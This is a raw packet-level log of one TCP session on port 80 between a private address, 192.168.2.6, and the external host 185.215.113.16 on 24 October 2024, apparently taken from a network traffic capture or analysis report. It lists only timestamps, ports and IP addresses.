Oct 24, 2024 11:02:52.875051022 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875066042 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875087976 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875098944 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875098944 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875138044 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875154018 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875163078 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875173092 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875183105 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875202894 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875210047 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875224113 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875235081 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875248909 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875258923 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875332117 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875380993 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875422001 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875448942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875467062 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875504017 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875519037 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875529051 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875529051 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875540018 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875559092 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875566006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875628948 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875649929 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875664949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875682116 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875698090 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875710011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875710011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875727892 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875751972 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875766993 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875777006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875790119 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875804901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875812054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875837088 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875848055 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875859976 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875869989 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875885010 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875896931 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875920057 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875929117 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875945091 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875965118 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.875972033 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875978947 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.875993013 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876003981 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876017094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876033068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876040936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876054049 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876065016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876075983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876089096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876100063 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876121998 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876336098 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876351118 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876374960 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876389980 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876396894 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876410007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876424074 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876435041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876455069 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876461029 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876471043 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876485109 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876492977 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876507998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876522064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876533031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876544952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876555920 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876564026 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876583099 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876595020 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876610041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876630068 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876636982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876650095 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876663923 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876672029 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876684904 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876702070 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876713037 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876737118 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876748085 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876893997 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876909018 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876929045 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876940012 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876952887 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.876962900 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876975060 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.876990080 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877002001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877017021 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877032995 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877043962 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877055883 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877069950 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877077103 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877090931 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877105951 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877125978 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877203941 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877218008 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877233982 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877252102 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877274036 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877274036 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877294064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877307892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877322912 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877332926 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877347946 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877357006 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877365112 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877386093 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877397060 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877412081 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877432108 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877439022 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877448082 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877460957 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877471924 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877485991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877510071 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877521038 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877542973 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877568007 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877578020 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877593040 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877603054 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877616882 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877628088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877641916 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877650976 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877664089 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877680063 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877686977 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877696991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877710104 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877718925 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877732038 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877742052 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877757072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877767086 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877780914 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.877790928 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.877814054 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878118038 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878144979 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878158092 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878170967 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878180981 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878194094 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878210068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878218889 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878228903 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878251076 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878261089 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878276110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878288031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878299952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878312111 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878325939 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878336906 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878361940 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878369093 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878382921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878396988 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878406048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878421068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878432989 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878443003 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878456116 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878468037 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878480911 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878489971 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878500938 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.878516912 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.878539085 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.990200043 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.990252972 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.990273952 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.990310907 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.990324020 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.990340948 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.990355015 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.990367889 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.990381002 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.990391016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.990401983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.990415096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.990426064 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.990439892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:52.990451097 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:52.990472078 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.025949001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.025963068 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.025979042 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026010036 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026017904 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026032925 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026052952 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026061058 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026087999 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026102066 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026127100 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026134968 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026150942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026163101 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026175976 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026190042 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026200056 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026213884 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026226997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026242018 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026252985 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026264906 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026281118 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026288986 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026299000 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026314020 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026324034 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026338100 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026362896 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026388884 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026410103 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026424885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026441097 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026454926 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026465893 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026495934 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026504040 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026518106 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026532888 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026556015 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026567936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026578903 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026592970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026602983 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026628017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026634932 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026650906 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026664019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026685953 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026695013 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026705027 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026719093 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026741982 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026755095 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026777029 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026787043 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026798964 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026813984 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026823997 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026834011 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026859045 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026866913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026881933 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026896954 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026910067 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026932955 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026942968 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026952982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.026974916 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.026993990 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027000904 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027013063 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027021885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027031898 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027055979 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027065992 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027080059 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027090073 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027116060 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027122974 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027137041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027152061 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027167082 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027175903 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027189016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027201891 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027214050 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027225018 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027249098 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027261972 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027276039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027287960 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027306080 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027328014 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027334929 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027359009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027385950 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027405977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027452946 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027472019 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027489901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027503014 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027524948 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027537107 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027546883 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027569056 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027580023 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027594090 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027609110 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027626991 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027643919 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027656078 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027673006 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027678967 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027688026 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027713060 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027734995 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027744055 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027757883 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027765036 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027785063 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.027791977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027801037 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.027812958 CEST	80	49887	185.215.113.16	192.168.2.6
